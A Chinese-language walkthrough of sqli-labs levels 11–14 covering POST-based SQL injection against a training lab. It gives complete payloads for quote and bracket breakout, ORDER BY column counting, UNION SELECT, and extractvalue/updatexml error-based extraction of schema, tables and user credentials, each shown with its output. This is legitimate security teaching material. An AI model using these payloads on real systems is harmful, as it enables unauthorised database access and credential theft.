Web安全-SQL注入【sqli靶場第11-14關】(三)

★★實戰前置聲明★★
文章中涉及的程序(方法)可能帶有攻擊性,僅供安全研究與學習之用,讀者將其信息做其他用途,由用戶承擔全部法律及連帶責任,文章作者不承擔任何法律及連帶責任。

0、總體思路

先確認是否可以SQL注入,使用單雙引號,1/0,括號測試 ’ " 1/0 ),頁面顯示不同內容或響應長度來確定。存在SQL注入后則開始構造輪子進行驗證,猜出數據庫,用戶名,表名,字段名,有沒有文件漏洞等。

為方便驗證提交攔截到BP,右擊到Repeater修改參數值進行驗證看響應內容。

特殊字符說明

+表示空格
--表示注釋

以下內容驗證都是在uname=后面構造進行驗證。

在這里插入圖片描述

1、Less11

POST - Error Based - Single quotes- String

1.1、判斷是否存在SQL注入

正常響應長度

在這里插入圖片描述

輸入帶單引號’,響應長度有變化

在這里插入圖片描述

往下拉看到有提示錯誤信息,可以確定可以SQL注入

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '123' LIMIT 0,1' at line 1

1.2、確定查詢字段個數

從界面上看應該是2個,但還是以確定結果為準

# 輸入內容
'+order+by+3--+# 關鍵結果
Unknown column '3' in 'order clause'</br># 修改為2
'+order+by+2--+# 關鍵結果
Your Login name:admin<br>
Your Password:admin<br>

所以可以確定的是查詢字段是2個,剛好又是我輸入的是弱口令賬戶:admin,后面密碼匹配條件又被我注釋了,賬號密碼就拿到了,是可以登錄成功。接下來看是否可拿到其他數據,比如數據庫等。

在這里插入圖片描述

1.3、聯合查詢

通過union語句方式發現沒辦法拿到其他數據,需要嘗試報錯函數

# 驗證內容1
'+and+1=2+union+select+1,2--+# 輸出內容
Your Login name:1<br>
Your Password:2<br># 驗證內容2
'+and+1=1+union+select+1,2--+
# 驗證內容2
'+and+1=1+union+select+database(),user()--+# 輸出內容
Your Login name:admin<br>
Your Password:admin<br>

1.4、報錯函數

1.4.1、獲取數據庫名和賬號

報錯函數extractvalue,0x7e是~的ASCII碼,字符型后面有加單引號,數字型沒有,

# 字符型
extractvalue(1,concat(0x7e,(select+user()),0x7e))='1
#數字型
extractvalue(1,concat(0x7e,(select+user()),0x7e))=1

根據報錯函數獲取到數據庫名,登錄名

# 輸入內容
'and+extractvalue(1,concat(0x7e,(select+database()),0x7e))='1# 輸出內容
XPATH syntax error: '~security~'</br># 輸入內容
'and+extractvalue(1,concat(0x7e,(select+user()),0x7e))='1# 輸出內容
XPATH syntax error: '~root@localhost~'</br>

報錯函數updatexml,字符型后面有加單引號,數字型沒有,以下的函數結果和上面的內容獲取的結果是一樣的

# 字符型
(updatexml(1,concat(0x7e,(select+user()),0x7e),1))='1
#數字型
(updatexml(1,concat(0x7e,(select+user()),0x7e),1))=1
1.4.2、獲取表名

使用updatexml獲取庫的表名,0x23是#的ASCII碼

# 輸入內容
'and+(updatexml(1,concat(0x23,(select+group_concat(table_name)+from+information_schema.tables+where+table_schema='security')),1))='1# 輸出內容
XPATH syntax error: '#emails,referers,uagents,users'</br>

從獲取到的數據庫表名,users應該就是存儲數據庫登錄名的表了。

注意:在靶場實驗過程中可獲取:數據庫=>表=>字段=>數據 ,但在實戰過程中,到數據庫這個步驟就行,不要去查數據。

1.4.3、獲取表對應字段
# 輸入內容
'and+(updatexml(1,concat(0x23,(select+group_concat(column_name)+from+information_schema.columns+where+table_schema='security'+and+table_name='users')),1))='1# 輸出內容
XPATH syntax error: '#id,username,password'</br>
1.4.4、獲取表數據
# 輸入內容
'and+(updatexml(1,concat(0x23,(select+group_concat(id,'~',username,'~',password)+from+security.users)),1))='1# 輸出內容
XPATH syntax error: '#1~Dumb~Dumb,2~Angelina~I-kill-y'</br>

1.5、驗證登錄

使用賬號/密碼:Dumb/Dumb,登錄成功

在這里插入圖片描述

2、Less12

POST - Error Based - Double quotes- String-with twist

2.1、判斷是否存在SQL注入

正常響應長度

在這里插入圖片描述

輸入帶單引號’發現沒有變化

在這里插入圖片描述

嘗試用雙引號",響應長度有變化

在這里插入圖片描述

往下拉看到有提示錯誤信息,可以確定可以SQL注入

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '123") LIMIT 0,1' at line 1

2.2、確定查詢字段個數

從界面上看應該是2個,但還是以確定結果為準

# 輸入內容
"+order+by+3--+# 輸出結果
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'order by 3-- ") and password=("123") LIMIT 0,1' at line 1</br>

從錯誤結果來看是少了括號)閉合,因此調整輪子加上括號)驗證

# 輸入內容
")+order+by+3--+# 輸出結果
Unknown column '3' in 'order clause'</br># 修改為2
")+order+by+2--+# 輸出結果
Your Login name:admin<br>
Your Password:admin<br>

所以可以確定的是查詢字段是2個,剛好又是我輸入的是弱口令賬戶:admin,后面密碼匹配條件又被我注釋了,賬號密碼就拿到了,是可以登錄成功。接下來看是否可拿到其他數據,比如數據庫等。

注意后面的所有內容破解前面部分都是需要")把前面語句閉合。

2.3、聯合查詢

2.3.1、獲取數據庫名和賬號

通過union語句方式查詢數據庫,用戶名。

# 輸入內容
")+and+1=2+union+select+database(),user()--+# 輸出結果
Your Login name:security<br>
Your Password:root@localhost<br>
2.3.2、獲取表名

上面得到的數據庫,進一步獲取表名

# 輸入內容
")+and+1=2+union+select+1,group_concat(table_name)+from+information_schema.tables+where+table_schema='security'--+# 輸出結果
Your Login name:1<br>
Your Password:emails,referers,uagents,users<br>

從獲取到的數據庫表名,users應該就是存儲數據庫登錄名的表了。

2.3.3、獲取表對應字段
# 輸入內容
")+and+1=2+union+select+1,group_concat(column_name)+from+information_schema.columns+where+table_schema='security'+and+table_name='users'--+# 輸出結果
Your Login name:1<br>
Your Password:id,username,password<br>
2.3.4、獲取表數據
# 輸入內容
")+and+1=2+union+select+1,group_concat(id,'~',username,'~',password)+from+security.users--+# 輸出結果
Your Login name:1<br>
Your Password:1~Dumb~Dumb,2~Angelina~I-kill-you,3~Dummy~p@ssword,4~secure~crappy,5~stupid~stupidity,6~superman~genious,7~batman~mob!le,8~admin~admin,9~admin1~admin1,10~admin2~admin2,11~admin3~admin3,12~dhakkan~dumbo,14~admin4~admin4<br>

賬號/密碼有點多,隨便找一個進行驗證。

2.4、驗證登錄

使用賬號/密碼:admin3/admin3,登錄成功

在這里插入圖片描述

3、Less13

POST - Double Injection - Single quotes- String -with twist

3.1、判斷是否存在SQL注入

正常響應長度

在這里插入圖片描述

輸入帶單引號’,響應長度有變化

在這里插入圖片描述

往下拉看到有提示錯誤信息,可以確定可以SQL注入

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '123') LIMIT 0,1' at line 1

3.2、確定查詢字段個數

從界面上看應該是2個,但還是以確定結果為準

# 輸入內容
'+order+by+3--+# 輸出結果
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'order by 3-- ') and password=('123') LIMIT 0,1' at line 1</br>

從錯誤結果來看是少了括號)閉合,因此調整輪子加上括號)驗證

# 輸入內容
')+order+by+3--+# 輸出結果
Unknown column '3' in 'order clause'</br># 修改為2
')+order+by+2--+# 輸出結果--沒有報錯內容

所以可以確定的是查詢字段是2個

注意后面的所有內容破解前面部分都是需要')把前面語句閉合。

3.3、聯合查詢

通過union語句方式發現沒辦法拿到其他數據,需要嘗試報錯函數

# 輸入內容
')+and+1=1+union+select+database(),user()--+

在這里插入圖片描述

3.4、報錯函數

3.4.1、獲取數據庫名和賬號

根據報錯函數獲取到數據庫名,登錄名

# 輸入內容
'and+extractvalue(1,concat(0x7e,(select+database()),0x7e))='1# 輸出內容
XPATH syntax error: '~security~'</br># 輸入內容
'and+extractvalue(1,concat(0x7e,(select+user()),0x7e))='1# 輸出內容
XPATH syntax error: '~root@localhost~'</br>
3.4.2、獲取表名

使用updatexml獲取庫的表名,0x23是#的ASCII碼,前面部分加上')用來閉合前面的語句,后面=1而不是='1,再加上--+用于注釋后面的語句,獲取了表名了。

# 輸入內容
')and+(updatexml(1,concat(0x23,(select+group_concat(table_name)+from+information_schema.tables+where+table_schema='security')),1))=1--+
# 輸出內容
XPATH syntax error: '#emails,referers,uagents,users'</br>

在這里插入圖片描述

4、Less14

POST - Double Injection - Single quotes- String -with twist

4.1、判斷是否存在SQL注入

正常響應長度

在這里插入圖片描述

輸入帶雙引號",響應長度有變化

在這里插入圖片描述

往下拉看到有提示錯誤信息,可以確定可以SQL注入

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '123" LIMIT 0,1' at line 1</br>

4.2、確定查詢字段個數

從界面上看應該是2個,但還是以確定結果為準

# 輸入內容
"+order+by+3--+# 輸出結果
Unknown column '3' in 'order clause'</br># 修改為2
"+order+by+2--+# 輸出結果--沒有報錯內容

所以可以確定的是查詢字段是2個。

3.3、聯合查詢

通過union語句方式發現沒辦法拿到其他數據,需要嘗試報錯函數

# 輸入內容
"+and+1=1+union+select+database(),user()--+

在這里插入圖片描述

4.4、報錯函數

4.4.1、獲取數據庫名和賬號

根據報錯函數獲取到數據庫名,登錄名

# 輸入內容
"and+extractvalue(1,concat(0x7e,(select+database()),0x7e))="1# 輸出內容
XPATH syntax error: '~security~'</br># 輸入內容
"and+extractvalue(1,concat(0x7e,(select+user()),0x7e))="1# 輸出內容
XPATH syntax error: '~root@localhost~'</br>

5、資料獲取

sqli-labs靶場環境搭建請參考《靶場環境搭建【XP、pikachu、dvwa、sqli-labs】》

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/news/214930.shtml
繁體地址,請注明出處:http://hk.pswp.cn/news/214930.shtml
英文地址,請注明出處:http://en.pswp.cn/news/214930.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

輕空間助力中國高校實現場館多功能一體化

中國高校在迎接體育、文藝、學術等多元化需求的同時&#xff0c;面臨著場館設施不足、建設成本高的難題。然而&#xff0c;隨著輕空間&#xff08;江蘇&#xff09;膜科技有限公司的嶄新解決方案的引入&#xff0c;中國高校如蘇州大學等正迎來一場場館多功能一體化的革命。 創新…

電源小白入門學習4——LDO的選擇與使用技巧

電源小白入門學習4——LDO的選擇與使用技巧 LDO簡介LDO工作原理LDO選型LDO并聯問題LDO的新發展 上期我們介紹了開關電源系統中一些常見的元器件&#xff0c;這期我們來學習LDO的選擇與使用技巧 LDO簡介 LDO的全稱是低壓差線性穩壓器&#xff08;Low Drop-Out Linear Regulator…

python的os模塊(一)

os 模塊提供了非常豐富的方法用來處理文件和目錄。常用的方法如下表所示&#xff1a; 一.os.getcwd 相當于shell的 pwd&#xff0c;查看當前目錄 [rootrhel8 day06]# vim demo01.py import os print(os.getcwd()) #查看當前目錄[rootrhel8 day06]# python3 demo01.py /root/m…

計算機病毒判定專家系統原理與設計《文字提取人工修正》

內容源于網絡。網絡上流轉的版本實在是不易閱讀&#xff0c; 又不忍神作被糟蹋故稍作整理&#xff0c;對于內容仍然有識別不準的地方&#xff0c;網友可留言&#xff0c;我跟進修改。 雷 軍 &#xff08;武漢大學計算機系&#xff0c;430072) 摘要: 本文詳細地描述了…

Rust的未來發展趨勢和行業應用

大家好&#xff01;我是lincyang。 今天&#xff0c;我們來深入探討Rust的未來發展趨勢以及它在各個行業中的應用情況。 自從Rust語言問世以來&#xff0c;它以其獨特的安全性和高效性在編程界引起了廣泛關注。Rust的設計理念主要集中在安全、速度和并發三個方面&#xff0c;…

【數值計算方法(黃明游)】數值積分(一):復化(梯形公式、中點公式)【理論到程序】

? 文章目錄 一、梯形公式、中點公式1. 梯形公式&#xff08;Trapezoidal Rule&#xff09;&#xff1a;2. 復化梯形公式&#xff08;Composite Trapezoidal Rule&#xff09;&#xff1a;3. 中點公式&#xff08;Midpoint Rule&#xff09;&#xff1a;4. 復化中點公式&#…

算法通關村第十五關 | 黃金 | 超大規模數據場景

1.對 20GB 文件進行排序 有一個 20GB 的文件&#xff0c;每行一個字符串&#xff0c;對其進行排序。 這里可以使用分塊方式來排序&#xff0c;先將每塊進行排序&#xff0c;然后要逐步進行合并&#xff0c;也叫做外部排序。 2.超大文本中搜索兩個單詞的最短距離 有一個超大…

【UML】NO.2 UML必須了解的基礎知識(舉例)

目錄 一、UML的構成 1.1 事物 1.2 關系 1.3 圖 二、事物 2.1 結構事物 2.1.1 類&#xff08;class&#xff09; 2.1.2 接口 2.1.3 協作 2.1.4 用例 2.1.5 主動類 2.1.6 構件 2.1.7 節點 2.2 行為事物 2.2.1 交互 2.2.2 狀態機 2.2.3 活動 2.3 分組事物 包 …

Unittest單元測試框架

Unittest介紹、單元測試用例的組織、測試用例的執行、測試用例的跳過 Unittest介紹 為什么要學習單元測試框架 測試用例的組織與運行需要單元測試框架的參與&#xff0c;從而滿足不同測試場景的需要&#xff0c;單元測試框架提供了豐富的比較方法&#xff1a;實際結果與預期結…

Viewport Meta 標記:讓網頁適應各種設備的魔法符號

在我們用手機或平板電腦瀏覽網頁時&#xff0c;你是否曾發現有些網頁能夠很好地適應屏幕&#xff0c;而有些卻需要左右滑動才能完整顯示內容&#xff1f;這就涉及到一個神奇的東西——Viewport Meta 標記。 最近本人在研究自適應的各自實現方法&#xff0c;比如media媒體查詢、…

6個免費設計素材庫,設計師都在用,趕緊收藏!

設計師應該都知道&#xff0c;在設計過程中找素材真的很費時間&#xff0c;有的時候全網翻遍都未必能找到自己想要的&#xff0c;以至于現在很多設計師都花錢去購買素材&#xff0c;你說要是拿去參賽或者商用還好&#xff0c;就拿平常設計來說你舍得花這個錢去買嗎&#xff0c;…

ubuntu-base 20.04防火墻配置方法

ubuntu-base 20.04防火墻配置方法 在ubuntu-base 20.04 上配置防火墻可以使用 UFW&#xff08;Uncomplicated Firewall&#xff09;工具。以下是一些基本的防火墻配置命令&#xff1a; 1. 檢查防火墻狀態&#xff1a; sudo ufw status 2. 啟用防火墻&#xff1a; sudo ufw…

numpy.resize(修改數據維度)

numpy.resize 函數用于調整數組的大小。它接受一個數組和一個新的形狀作為參數&#xff0c;并返回具有新形狀的新數組。如果新數組的大小大于原始數組的大小&#xff0c;resize 將重復原始數組的元素以填充新數組。如果新數組的大小小于原始數組的大小&#xff0c;則 resize 將…

亞馬遜云科技Amazon Bedrock,現推出更多模型選擇和全新強大功能

亞馬遜云科技在re:Invent 2023上宣布推出Amazon Bedrock更多模型選擇和強大功能&#xff0c;幫助客戶更輕松地構建和規模化針對其業務定制的生成式AI應用程序。 Amazon Bedrock是一項全面托管的服務&#xff0c;用戶可輕松訪問來自AI21 Labs、Anthropic、Cohere、Meta、Stabili…

未能正確利用原型繼承(js的問題)

考慮下面代碼&#xff1a; BaseObject function(name) {if (typeof name ! "undefined") {this.name name;} else {this.name default} }; 上面代碼比較簡單&#xff0c;就是提供了一個名字&#xff0c;就使用它&#xff0c;否則返回 default: var firstObj n…

網頁設計的靈感從哪來?試試這15個靈感網站

設計靈感網站是許多設計師必備的工具&#xff0c;因為它們提供了一個創造性的源泉&#xff0c;可以幫助設計師找到靈感和靈感&#xff0c;從而開發出驚人的設計。 推薦15個設計靈感網站&#xff0c;涵蓋了平面設計、網頁設計、UI設計等不同領域的設計。 即時設計資源廣場 即…

shell學習帖子積累

.bashrc與.bash_profile區別_bashprofile和bashrc-CSDN博客 帖子2&#xff1a; $0 - 腳本名 $1 - 命令參數1 $# - 幾個參數 $ - 參數分別是什么 $$ - 當前腳本PID $USER - 用戶 $HOSTNAME - 主機名 $LINENO - 行號 $RANDOM - 隨機數 $? - 返回函數結果 實例: abc.s…

Linux系統vim,gcc,g++工具使用及環境配置,動靜態庫的概念及使用

Linux系統vim&#xff0c;gcc&#xff0c;g工具使用及環境配置&#xff0c;動靜態庫的概念及使用 1. Linux編輯器-vim的使用1.1 vim的基本概念1.2vim的基本操作1.3vim正常模式命令集1.4vim末端模式命令集1.5簡單的vim配置 2.Linux編譯器-gcc/g的使用2.1 準備階段2.2gcc的使用2.…

了解 git rebase

了解 git rebase 大多數人習慣使用 git merge 將更改從功能分支合并到主分支&#xff0c;但還有其他方法。我們是否曾經遇到過 git rebase 這個術語并想知道它是什么&#xff1f;或者我們可能聽說過 rebase 和 merge &#xff0c;但不確定何時使用哪個&#xff1f;不用擔心&am…

企業架構LB-服務器的負載均衡之Haproxy實現

企業架構LB-服務器的負載均衡之HAProxy實現 學習目標和內容 1、能夠通過HAProxy實現負載均衡 ###1、介紹 Introduction HAProxy, which stands for High Availability Proxy, is a popular opensource software TCP/HTTP LoadBalancer and proxying solution which can be ru…